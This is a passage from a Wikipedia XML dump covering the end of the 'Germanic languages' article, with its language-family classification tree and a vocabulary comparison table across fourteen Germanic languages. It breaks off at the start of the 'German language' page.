****** [[Pennsylvania German language|Pennsylvania German]] (spoken by the [[Amish]] and other groups in southeastern [[Pennsylvania]])
**** [[Upper German]]
***** [[Alemannic German]]
******[[Swabian German]], including [[Stuttgart]]
******[[Low Alemannic German]], including the area of [[Lake Constance]] and [[Basel German]]
******[[Alsatian language|Alsatian]]
******[[High Alemannic German]], including [[Zürich German]] and [[Bernese German]]
******[[Highest Alemannic German]], including the [[Bernese Oberland]] dialects and [[Walliser German]]
***** [[Austro-Bavarian German]]
******[[North Bavarian]] (including [[Nuremberg]])
******[[Middle Bavarian]] (including [[Munich]] and [[Viennese German|Vienna]])
******[[South Bavarian]] (including [[Innsbruck]], [[Klagenfurt]] and [[Bozen-Bolzano]], Italy)
****** [[Hutterite German]] (aka &quot;Tirolean&quot;)
*** [[Yiddish language|Yiddish]] (with a significant influx of vocabulary from [[Hebrew language|Hebrew]] and other languages, and traditionally written in the [[Hebrew alphabet]])
*** [[Wymysojer]] (with a significant influence from [[Low German]], [[Dutch language|Dutch]], [[Polish language|Polish]] and [[Scots language|Scots]])
** [[Low German languages]]
*** [[Low Franconian languages|Low Franconian]]
**** [[Dutch language|Dutch]]
**** [[Afrikaans language|Afrikaans]] (with a significant influx of vocabulary from other languages)
**** [[Limburgish language|Limburgish]] (considered to be highly developed dialect by most people, including native speakers.)
*** [[Low German]]
**** [[West Low German]]
***** [[Northern Low Saxon]]
****** [[East Frisian Low Saxon]]
***** [[Westphalian language]]
***** [[Eastphalian language]]
**** [[East Low German]]
***** [[Plautdietsch]] ([[Mennonite]] &quot;Low German&quot;)
** [[Anglo-Frisian languages|Anglo-Frisian]]
*** [[Frisian language|Frisian]]
**** [[North Frisian language|North Frisian]]
***** [[North Frisian language|Insular North Frisian]]
****** [[Sylt|Söl'ring]]
***** [[North Frisian language| Mainland North Frisian]]
**** [[East Frisian]]
***** [[Saterland|Saterland Frisian]]
**** [[West Frisian]]
***[[Anglic languages|Anglic]]
**** [[English language|English]]. Huge influx of [[Latin]]ate vocabulary, mostly via [[Norman language|Norman French]]. See [[List of dialects of the English language]].
**** [[Scots language|Scots]]
***** [[Insular Scots]]
***** [[Northern Scots]], including [[Doric dialect|Doric]]
***** [[Central Scots]]
***** [[Southern Scots]]
***** [[Ulster Scots language|Ulster Scots]]
***** [[Urban Scots]] (City dialects)
**** [[Yola language|Yola]]
* [[North Germanic languages|North Germanic]]
** [[West Nordic]] (Insular)
*** [[Norwegian language|New Norwegian (''Nynorsk'')]] (disputed)
*** [[Icelandic language|Icelandic]]
*** [[Faroese language|Faroese]]
*** [[Norn language|Norn]] (Extinct)
** [[East Nordic]] (Continental)
*** [[Danish language|Danish]]
**** [[Norwegian language|Standard Norwegian (''Bokmål'' and ''Riksmål'')]] (Dano-Norwegian)
*** [[Swedish language|Swedish]]
*** [[Old Gutnish|Old Gutnish]]
**** [[Finland-Swedish]]

==Vocabulary comparison==

Several of the terms in the table below have had [[semantic drift]]. For example, the form 'Sterben' and other terms for 'die' are cognate with the English word 'starve'. There is also at least one example of a common borrowing from a Non-Germanic source (''ounce'' and its cognates from [[Latin]]).
&lt;table border = &quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;&gt;
  &lt;tr&gt;
    &lt;td&gt;[[English language|English]]&lt;/td&gt;
    &lt;td&gt;[[Scots language|Scots]]&lt;/td&gt;
    &lt;td&gt;[[Afrikaans language|Afrikaans]]&lt;/td&gt;
    &lt;td&gt;[[Dutch language|Dutch]]&lt;/td&gt;
    &lt;td&gt;[[Low German]]&lt;/td&gt;
    &lt;td&gt;[[German language|Standard German]]&lt;/td&gt;
    &lt;td&gt;[[Yiddish language|Yiddish]]&lt;/td&gt;
    &lt;td&gt;[[Gothic language|Gothic]]&lt;/td&gt;
    &lt;td&gt;[[Icelandic language|Icelandic]]&lt;/td&gt;
    &lt;td&gt;[[Faroese language|Faroese]]&lt;/td&gt;
    &lt;td&gt;[[Swedish language|Swedish]]&lt;/td&gt;
    &lt;td&gt;[[Danish language|Danish]]&lt;/td&gt;
    &lt;td&gt;[[Norwegian language|Norwegian (Bokmål)]]&lt;/td&gt;
    &lt;td&gt;[[Norwegian language|Norwegian (Nynorsk)]]&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Apple&lt;/td&gt;
    &lt;td&gt;Aiple&lt;/td&gt;
    &lt;td&gt;Appel&lt;/td&gt;
    &lt;td&gt;Appel&lt;/td&gt;
    &lt;td&gt;Appel&lt;/td&gt;
    &lt;td&gt;Apfel&lt;/td&gt;
    &lt;td&gt;עפּל {{IPA|[ɛp̩l]}}&lt;/td&gt;
    &lt;td&gt;Aplus&lt;/td&gt;
    &lt;td&gt;Epli&lt;/td&gt;
    &lt;td&gt;Epli¹&lt;/td&gt;
    &lt;td&gt;Äpple&lt;/td&gt;
    &lt;td&gt;Æble&lt;/td&gt;
    &lt;td&gt;Eple&lt;/td&gt;
    &lt;td&gt;Eple&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Board&lt;/td&gt;
    &lt;td&gt;Buird&lt;/td&gt;
    &lt;td&gt;Bord&lt;/td&gt;
    &lt;td&gt;Bord&lt;/td&gt;
    &lt;td&gt;Boord&lt;/td&gt;
    &lt;td&gt;Brett&lt;/td&gt;
    &lt;td&gt;בּרעט {{IPA|[brɛt]}}&lt;/td&gt;
    &lt;td&gt;Baúrd&lt;/td&gt;
    &lt;td&gt;Bor&amp;eth;&lt;/td&gt;
    &lt;td&gt;Bor&amp;eth;&lt;/td&gt;
    &lt;td&gt;Bord&lt;/td&gt;
    &lt;td&gt;Bræt&lt;/td&gt;
    &lt;td&gt;Bord&lt;/td&gt;
    &lt;td&gt;Bord&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Book&lt;/td&gt;
    &lt;td&gt;Beuk&lt;/td&gt;
    &lt;td&gt;Boek&lt;/td&gt;
    &lt;td&gt;Boek&lt;/td&gt;
    &lt;td&gt;Book&lt;/td&gt;
    &lt;td&gt;Buch&lt;/td&gt;
    &lt;td&gt;בּוך {{IPA|[bʊx]}}&lt;/td&gt;
    &lt;td&gt;Bōka&lt;/td&gt;
    &lt;td&gt;Bók&lt;/td&gt;
    &lt;td&gt;Bók&lt;/td&gt;
    &lt;td&gt;Bok&lt;/td&gt;
    &lt;td&gt;Bog&lt;/td&gt;
    &lt;td&gt;Bok&lt;/td&gt;
    &lt;td&gt;Bok&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Breast&lt;/td&gt;
    &lt;td&gt;Breest&lt;/td&gt;
    &lt;td&gt;Bors&lt;/td&gt;
    &lt;td&gt;Borst&lt;/td&gt;
    &lt;td&gt;Bost&lt;/td&gt;
    &lt;td&gt;Brust&lt;/td&gt;
    &lt;td&gt;בּרוסט {{IPA|[brʊst]}}&lt;/td&gt;
    &lt;td&gt;Brusts&lt;/td&gt;
    &lt;td&gt;Brjóst&lt;/td&gt;
    &lt;td&gt;Bróst&lt;/td&gt;
    &lt;td&gt;Bröst&lt;/td&gt;
    &lt;td&gt;Bryst&lt;/td&gt;
    &lt;td&gt;Bryst&lt;/td&gt;
    &lt;td&gt;Bryst&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Brown&lt;/td&gt;
    &lt;td&gt;Broun&lt;/td&gt;
    &lt;td&gt;Bruin&lt;/td&gt;
    &lt;td&gt;Bruin&lt;/td&gt;
    &lt;td&gt;Bruun&lt;/td&gt;
    &lt;td&gt;Braun&lt;/td&gt;
    &lt;td&gt;בּרוין {{IPA|[brɔjn]}}&lt;/td&gt;
    &lt;td&gt;Bruns&lt;/td&gt;
    &lt;td&gt;Brúnn&lt;/td&gt;
    &lt;td&gt;Brúnur&lt;/td&gt;
    &lt;td&gt;Brun&lt;/td&gt;
    &lt;td&gt;Brun&lt;/td&gt;
    &lt;td&gt;Brun&lt;/td&gt;
    &lt;td&gt;Brun&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Day&lt;/td&gt;
    &lt;td&gt;Day&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
    &lt;td&gt;Tag&lt;/td&gt;
    &lt;td&gt;טאָג {{IPA|[tɔg]}}&lt;/td&gt;
    &lt;td&gt;Dags&lt;/td&gt;
    &lt;td&gt;Dagur&lt;/td&gt;
    &lt;td&gt;Dagur&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
    &lt;td&gt;Dag&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Die&lt;/td&gt;
    &lt;td&gt;Dee&lt;/td&gt;
    &lt;td&gt;Sterf&lt;/td&gt;
    &lt;td&gt;Sterven&lt;/td&gt;
    &lt;td&gt;Döen/ Starven&lt;/td&gt;
    &lt;td&gt;Sterben&lt;/td&gt;
    &lt;td&gt;שׁטאַרבּן {{IPA|[ʃtarb̩n]}}&lt;/td&gt;
    &lt;td&gt;Diwan&lt;/td&gt;
    &lt;td&gt;Deyja&lt;/td&gt;
    &lt;td&gt;Doyggja&lt;/td&gt;
    &lt;td&gt;Dö&lt;/td&gt;
    &lt;td&gt;Dø&lt;/td&gt;
    &lt;td&gt;Dø&lt;/td&gt;
    &lt;td&gt;Døy&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Enough&lt;/td&gt;
    &lt;td&gt;Eneuch&lt;/td&gt;
    &lt;td&gt;Genoeg&lt;/td&gt;
    &lt;td&gt;Genoeg&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;Genug&lt;/td&gt;
    &lt;td&gt;גענוג {{IPA|[gənʊg]}}&lt;/td&gt;
    &lt;td&gt;Ganōhs&lt;/td&gt;
    &lt;td&gt;Nóg&lt;/td&gt;
    &lt;td&gt;Nóg/ Nógmikið&lt;/td&gt;
    &lt;td&gt;Nog&lt;/td&gt;
    &lt;td&gt;Nok&lt;/td&gt;
    &lt;td&gt;Nok&lt;/td&gt;
    &lt;td&gt;Nok&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Give&lt;/td&gt;
    &lt;td&gt;Gie&lt;/td&gt;
    &lt;td&gt;Gee&lt;/td&gt;
    &lt;td&gt;Geven&lt;/td&gt;
    &lt;td&gt;Geven&lt;/td&gt;
    &lt;td&gt;Geben&lt;/td&gt;
    &lt;td&gt;געבּן {{IPA|[gɛb̩n]}}&lt;/td&gt;
    &lt;td&gt;Giban&lt;/td&gt;
    &lt;td&gt;Gefa&lt;/td&gt;
    &lt;td&gt;Geva&lt;/td&gt;
    &lt;td&gt;Giva/ Ge&lt;/td&gt;
    &lt;td&gt;Give&lt;/td&gt;
    &lt;td&gt;Gi&lt;/td&gt;
    &lt;td&gt;Gje&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Glass&lt;/td&gt;
    &lt;td&gt;Gless&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;גלאָז {{IPA|[glɔz]}}&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;Gler&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
    &lt;td&gt;Glas&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Gold&lt;/td&gt;
    &lt;td&gt;Gowd&lt;/td&gt;
    &lt;td&gt;Goud&lt;/td&gt;
    &lt;td&gt;Goud&lt;/td&gt;
    &lt;td&gt;Gold&lt;/td&gt;
    &lt;td&gt;Gold&lt;/td&gt;
    &lt;td&gt;גאָלד {{IPA|[gɔld]}}&lt;/td&gt;
    &lt;td&gt;Gul&amp;thorn;&lt;/td&gt;
    &lt;td&gt;Gull&lt;/td&gt;
    &lt;td&gt;Gull&lt;/td&gt;
    &lt;td&gt;Guld&lt;/td&gt;
    &lt;td&gt;Guld&lt;/td&gt;
    &lt;td&gt;Gull&lt;/td&gt;
    &lt;td&gt;Gull&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Hand&lt;/td&gt;
    &lt;td&gt;Haund&lt;/td&gt;
    &lt;td&gt;Hand&lt;/td&gt;
    &lt;td&gt;Hand&lt;/td&gt;
    &lt;td&gt;Hand&lt;/td&gt;
    &lt;td&gt;Hand&lt;/td&gt;
    &lt;td&gt;האַנט {{IPA|[hant]}}&lt;/td&gt;
    &lt;td&gt;Handus&lt;/td&gt;
    &lt;td&gt;Hönd&lt;/td&gt;
    &lt;td&gt;Hond&lt;/td&gt;
    &lt;td&gt;Hand&lt;/td&gt;
    &lt;td&gt;Hånd&lt;/td&gt;
    &lt;td&gt;Hånd&lt;/td&gt;
    &lt;td&gt;Hand&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Head&lt;/td&gt;
    &lt;td&gt;Heid&lt;/td&gt;
    &lt;td&gt;Kop&lt;/td&gt;
    &lt;td&gt;Hoofd/ Kop&lt;/td&gt;
    &lt;td&gt;Kopp&lt;/td&gt;
    &lt;td&gt;Haupt/ Kopf&lt;/td&gt;
    &lt;td&gt;קאָפּ {{IPA|[kɔp]}}&lt;/td&gt;
    &lt;td&gt;Háubi&amp;thorn;&lt;/td&gt;
    &lt;td&gt;Höfu&amp;eth;&lt;/td&gt;
    &lt;td&gt;Høvd/ Høvur&lt;/td&gt;
    &lt;td&gt;Huvud&lt;/td&gt;
    &lt;td&gt;Hoved&lt;/td&gt;
    &lt;td&gt;Hode&lt;/td&gt;
    &lt;td&gt;Hovud&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;High&lt;/td&gt;
    &lt;td&gt;Heich&lt;/td&gt;
    &lt;td&gt;Hoog&lt;/td&gt;
    &lt;td&gt;Hoog&lt;/td&gt;
    &lt;td&gt;Hoog&lt;/td&gt;
    &lt;td&gt;Hoch&lt;/td&gt;
    &lt;td&gt;הויך {{IPA|[hɔjx]}}&lt;/td&gt;
    &lt;td&gt;Háuh&lt;/td&gt;
    &lt;td&gt;Hár&lt;/td&gt;
    &lt;td&gt;Høg/ur&lt;/td&gt;
    &lt;td&gt;Hög&lt;/td&gt;
    &lt;td&gt;Høj&lt;/td&gt;
    &lt;td&gt;Høy&lt;/td&gt;
    &lt;td&gt;Høg&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Home/House&lt;/td&gt;
    &lt;td&gt;Hame&lt;/td&gt;
    &lt;td&gt;Huis&lt;/td&gt;
    &lt;td&gt;Huis&lt;/td&gt;
    &lt;td&gt;(Huus)&lt;/td&gt;
    &lt;td&gt;Heim/Haus&lt;/td&gt;
    &lt;td&gt;היים {{IPA|[hɛjm]}}&lt;/td&gt;
    &lt;td&gt;Háimō&amp;thorn;&lt;/td&gt;
    &lt;td&gt;Heim&lt;/td&gt;
    &lt;td&gt;Heim&lt;/td&gt;
    &lt;td&gt;Hem&lt;/td&gt;
    &lt;td&gt;Hjem&lt;/td&gt;
    &lt;td&gt;Hjem&lt;/td&gt;
    &lt;td&gt;Heim&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Hook&lt;/td&gt;
    &lt;td&gt;Heuk&lt;/td&gt;
    &lt;td&gt;Haak&lt;/td&gt;
    &lt;td&gt;Haak&lt;/td&gt;
    &lt;td&gt;Haak&lt;/td&gt;
    &lt;td&gt;Haken&lt;/td&gt;
    &lt;td&gt;מענדל {{IPA|[mɛnd̩l]}}&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;Krókur&lt;/td&gt;
    &lt;td&gt;Krókur/ Ongul&lt;/td&gt;
    &lt;td&gt;Hake/ krok&lt;/td&gt;
    &lt;td&gt;Hage&lt;/td&gt;
    &lt;td&gt;Hake/ Krok&lt;/td&gt;
    &lt;td&gt;Hake/ Krok&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;House&lt;/td&gt;
    &lt;td&gt;Hoose&lt;/td&gt;
    &lt;td&gt;Huis&lt;/td&gt;
    &lt;td&gt;Huis&lt;/td&gt;
    &lt;td&gt;Huus&lt;/td&gt;
    &lt;td&gt;Haus&lt;/td&gt;
    &lt;td&gt;הויז {{IPA|[hɔjz]}}&lt;/td&gt;
    &lt;td&gt;Hūs&lt;/td&gt;
    &lt;td&gt;Hús&lt;/td&gt;
    &lt;td&gt;Hús&lt;/td&gt;
    &lt;td&gt;Hus&lt;/td&gt;
    &lt;td&gt;Hus&lt;/td&gt;
    &lt;td&gt;Hus&lt;/td&gt;
    &lt;td&gt;Hus&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Many&lt;/td&gt;
    &lt;td&gt;Mony&lt;/td&gt;
    &lt;td&gt;Menige&lt;/td&gt;
    &lt;td&gt;Menige&lt;/td&gt;
    &lt;td&gt;Mennig&lt;/td&gt;
    &lt;td&gt;Manch&lt;/td&gt;
    &lt;td&gt;פֿיל {{IPA|[fil]}}&lt;/td&gt;
    &lt;td&gt;Manags&lt;/td&gt;
    &lt;td&gt;Margir&lt;/td&gt;
    &lt;td&gt;Mangir/ Nógvir&lt;/td&gt;
    &lt;td&gt;Många&lt;/td&gt;
    &lt;td&gt;Mange&lt;/td&gt;
    &lt;td&gt;Mange&lt;/td&gt;
    &lt;td&gt;Mange&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Moon&lt;/td&gt;
    &lt;td&gt;Muin&lt;/td&gt;
    &lt;td&gt;Maan&lt;/td&gt;
    &lt;td&gt;Maan&lt;/td&gt;
    &lt;td&gt;Maan&lt;/td&gt;
    &lt;td&gt;Mond&lt;/td&gt;
    &lt;td&gt;לבנה {{IPA|[ləvɔnə]}}&lt;/td&gt;
    &lt;td&gt;Mēna&lt;/td&gt;
    &lt;td&gt;Tungl/ Máni&lt;/td&gt;
    &lt;td&gt;Máni&lt;/td&gt;
    &lt;td&gt;Måne&lt;/td&gt;
    &lt;td&gt;Måne&lt;/td&gt;
    &lt;td&gt;Måne&lt;/td&gt;
    &lt;td&gt;Måne&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Night&lt;/td&gt;
    &lt;td&gt;Nicht&lt;/td&gt;
    &lt;td&gt;Nag&lt;/td&gt;
    &lt;td&gt;Nacht&lt;/td&gt;
    &lt;td&gt;Natt / Nacht&lt;/td&gt;
    &lt;td&gt;Nacht&lt;/td&gt;
    &lt;td&gt;נאַכט {{IPA|[naxt]}}&lt;/td&gt;
    &lt;td&gt;Nahts&lt;/td&gt;
    &lt;td&gt;Nótt&lt;/td&gt;
    &lt;td&gt;Nátt&lt;/td&gt;
    &lt;td&gt;Natt&lt;/td&gt;
    &lt;td&gt;Nat&lt;/td&gt;
    &lt;td&gt;Natt&lt;/td&gt;
    &lt;td&gt;Natt&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;No&lt;/td&gt;
    &lt;td&gt;Nae&lt;/td&gt;
    &lt;td&gt;Nee&lt;/td&gt;
    &lt;td&gt;Niet/ Nee&lt;/td&gt;
    &lt;td&gt;Nee&lt;/td&gt;
    &lt;td&gt;Nein/ Nö/ Nee&lt;/td&gt;
    &lt;td&gt;ניין {{IPA|[nɛjn]}}&lt;/td&gt;
    &lt;td&gt;Nē&lt;/td&gt;
    &lt;td&gt;Nei&lt;/td&gt;
    &lt;td&gt;Nei&lt;/td&gt;
    &lt;td&gt;Nej&lt;/td&gt;
    &lt;td&gt;Nej&lt;/td&gt;
    &lt;td&gt;Nei&lt;/td&gt;
    &lt;td&gt;Nei&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Old&lt;/td&gt;
    &lt;td&gt;Auld&lt;/td&gt;
    &lt;td&gt;Oud&lt;/td&gt;
    &lt;td&gt;Oud&lt;/td&gt;
    &lt;td&gt;Oll&lt;/td&gt;
    &lt;td&gt;Alt&lt;/td&gt;
    &lt;td&gt;אַלט {{IPA|[alt]}}&lt;/td&gt;
    &lt;td&gt;Sineigs&lt;/td&gt;
    &lt;td&gt;Gamall&lt;/td&gt;
    &lt;td&gt;Gamal/ Gomul/ Gamalt&lt;/td&gt;
    &lt;td&gt;Gammal&lt;/td&gt;
    &lt;td&gt;Gammel&lt;/td&gt;
    &lt;td&gt;Gammel (but: eldre, eldst)&lt;/td&gt;
    &lt;td&gt;Gammal&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;One&lt;/td&gt;
    &lt;td&gt;Ane&lt;/td&gt;
    &lt;td&gt;Een&lt;/td&gt;
    &lt;td&gt;Een&lt;/td&gt;
    &lt;td&gt;Een&lt;/td&gt;
    &lt;td&gt;Eins&lt;/td&gt;
    &lt;td&gt;איין {{IPA|[ɛjn]}}&lt;/td&gt;
    &lt;td&gt;Áins&lt;/td&gt;
    &lt;td&gt;Einn&lt;/td&gt;
    &lt;td&gt;Ein/ Eitt&lt;/td&gt;
    &lt;td&gt;En/ett&lt;/td&gt;
    &lt;td&gt;En&lt;/td&gt;
    &lt;td&gt;En&lt;/td&gt;
    &lt;td&gt;Ein&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Ounce&lt;/td&gt;
    &lt;td&gt;Unce&lt;/td&gt;
    &lt;td&gt;Ons&lt;/td&gt;
    &lt;td&gt;Ons&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;Unze&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;Únsa&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;Uns&lt;/td&gt;
    &lt;td&gt;Unse&lt;/td&gt;
    &lt;td&gt;Unse&lt;/td&gt;
    &lt;td&gt;Unse&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Snow&lt;/td&gt;
    &lt;td&gt;Snaw&lt;/td&gt;
    &lt;td&gt;Sneeu&lt;/td&gt;
    &lt;td&gt;Sneeuw&lt;/td&gt;
    &lt;td&gt;Snee&lt;/td&gt;
    &lt;td&gt;Schnee&lt;/td&gt;
    &lt;td&gt;שניי {{IPA|[ʃnɛj]}}&lt;/td&gt;
    &lt;td&gt;Snáiws&lt;/td&gt;
    &lt;td&gt;Snjór&lt;/td&gt;
    &lt;td&gt;Kavi/ Snjógvur&lt;/td&gt;
    &lt;td&gt;Snö&lt;/td&gt;
    &lt;td&gt;Sne&lt;/td&gt;
    &lt;td&gt;Snø&lt;/td&gt;
    &lt;td&gt;Snø&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Stone&lt;/td&gt;
    &lt;td&gt;Stane&lt;/td&gt;
    &lt;td&gt;Steen&lt;/td&gt;
    &lt;td&gt;Steen&lt;/td&gt;
    &lt;td&gt;Steen&lt;/td&gt;
    &lt;td&gt;Stein&lt;/td&gt;
    &lt;td&gt;שטיין {{IPA|[ʃtɛjn]}}&lt;/td&gt;
    &lt;td&gt;Stáins&lt;/td&gt;
    &lt;td&gt;Steinn&lt;/td&gt;
    &lt;td&gt;Steinur&lt;/td&gt;
    &lt;td&gt;Sten&lt;/td&gt;
    &lt;td&gt;Sten&lt;/td&gt;
    &lt;td&gt;Sten&lt;/td&gt;
    &lt;td&gt;Stein&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;That&lt;/td&gt;
    &lt;td&gt;That&lt;/td&gt;
    &lt;td&gt;Dit&lt;/td&gt;
    &lt;td&gt;Dit, Dat&lt;/td&gt;
    &lt;td&gt;Dat (Dit)&lt;/td&gt;
    &lt;td&gt;Das&lt;/td&gt;
    &lt;td&gt;דאָס {{IPA|[dɔs]}}&lt;/td&gt;
    &lt;td&gt;&amp;THORN;ata&lt;/td&gt;
    &lt;td&gt;&amp;THORN;etta&lt;/td&gt;
    &lt;td&gt;Hatta&lt;/td&gt;
    &lt;td&gt;Det&lt;/td&gt;
    &lt;td&gt;Det&lt;/td&gt;
    &lt;td&gt;Det&lt;/td&gt;
    &lt;td&gt;Det&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Two&lt;/td&gt;
    &lt;td&gt;Twa&lt;/td&gt;
    &lt;td&gt;Twee&lt;/td&gt;
    &lt;td&gt;Twee&lt;/td&gt;
    &lt;td&gt;Twee&lt;/td&gt;
    &lt;td&gt;Zwei/[[Zwo]]&lt;/td&gt;
    &lt;td&gt;צוויי {{IPA|[tsvɛj]}}&lt;/td&gt;
    &lt;td&gt;Twái&lt;/td&gt;
    &lt;td&gt;Tveir&lt;/td&gt;
    &lt;td&gt;Tveir&lt;/td&gt;
    &lt;td&gt;Två&lt;/td&gt;
    &lt;td&gt;To&lt;/td&gt;
    &lt;td&gt;To&lt;/td&gt;
    &lt;td&gt;To&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Who&lt;/td&gt;
    &lt;td&gt;Wha&lt;/td&gt;
    &lt;td&gt;Wie&lt;/td&gt;
    &lt;td&gt;Wie&lt;/td&gt;
    &lt;td&gt;Wokeen&lt;/td&gt;
    &lt;td&gt;Wer&lt;/td&gt;
    &lt;td&gt;ווער {{IPA|[vɛr]}}&lt;/td&gt;
    &lt;td&gt;&amp;#502;as (Hwas)&lt;/td&gt;
    &lt;td&gt;Hver&lt;/td&gt;
    &lt;td&gt;Hvør&lt;/td&gt;
    &lt;td&gt;Vem&lt;/td&gt;
    &lt;td&gt;Hvem&lt;/td&gt;
    &lt;td&gt;Hvem&lt;/td&gt;
    &lt;td&gt;Kven&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Worm&lt;/td&gt;
    &lt;td&gt;Wirm&lt;/td&gt;
    &lt;td&gt;Wurm&lt;/td&gt;
    &lt;td&gt;Wurm, Worm&lt;/td&gt;
    &lt;td&gt;Worm&lt;/td&gt;
    &lt;td&gt;Wurm&lt;/td&gt;
    &lt;td&gt;וואָרעם {{IPA|[vɔrəm]}}&lt;/td&gt;
    &lt;td&gt;Ma&amp;thorn;a&lt;/td&gt;
    &lt;td&gt;Ma&amp;eth;kur, Ormur&lt;/td&gt;
    &lt;td&gt;Maðkur/ Ormur&lt;/td&gt;
    &lt;td&gt;Mask, Orm²&lt;/td&gt;
    &lt;td&gt;Orm&lt;/td&gt;
    &lt;td&gt;Orm&lt;/td&gt;
    &lt;td&gt;Orm&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

1: The cognate means 'potato'. The correct word is 'Súrepli'.
2: The cognate means snake.

==See also==
* [[Germanic verb]] and its various subordinated articles.
* [[Language families and languages]]
* [[Non-Indo-European roots of Germanic languages]]
* [[Folkspraak]], a [[planned language]] designed to be quickly learnable by a speaker of any Germanic language.
* [[List of Germanic and Latinate equivalents]]
* [[Germanization]] and [[Anglicization]]
* [[List of Germanic and Latinate equivalents]]
* [[Germanic placenames]]

== External links ==

* [http://www.ling.upenn.edu/~kurisuto/germanic/language_resources.html Germanic Lexicon Project]
* [http://www.ethnologue.com/show_family.asp?subid=90067 Ethnologue Report for Germanic]
* [http://groups.yahoo.com/group/theudiskon Proto-Germanic Language Reconstruction Group]

[[Category:Germanic languages| ]]

[[af:Germaanse tale]]
[[az:Alman qrupu]]
[[zh-min-nan:Tek-gí-hē]]
[[be:Германскія мовы]]
[[ca:Llengües germàniques]]
[[cs:Germánské jazyky]]
[[da:Germanske sprog]]
[[de:Germanische Sprachen]]
[[el:Γερμανικές γλώσσες]]
[[es:Lenguas germánicas]]
[[eo:Ĝermana lingvo]]
[[fo:Germanskt mál]]
[[fr:Langue germanique]]
[[fy:Germaanske talen]]
[[gl:Linguas xermánicas]]
[[ko:게르만어파]]
[[id:Bahasa Jermanik]]
[[is:Germönsk tungumál]]
[[it:Lingue germaniche]]
[[he:שפות גרמאניות]]
[[kw:Yethow Germanek]]
[[lt:Germanų kalbos]]
[[li:Germaanse taole]]
[[hu:Germán nyelvek]]
[[nl:Germaanse talen]]
[[ja:ゲルマン語派]]
[[no:Germanske språk]]
[[nn:Germanske språk]]
[[pl:Języki germańskie]]
[[pt:Línguas germânicas]]
[[ro:Limbile germanice]]
[[ru:Германские языки]]
[[se:Germánalaš gielat]]
[[sco:Germanic leid]]
[[sk:Germánske jazyky]]
[[fi:Germaaniset kielet]]
[[sv:Germanska språk]]
[[vi:Nhóm ngôn ngữ gốc Đức]]
[[zh:日耳曼语族]]</text>
    </revision>
  </page>
  <page>
    <title>German language</title>
    <id>11884</id>
    <revision>
      <id>42109666</id>
      <timestamp>2006-03-03T22:04:54Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{{Infobox Language
|name=German
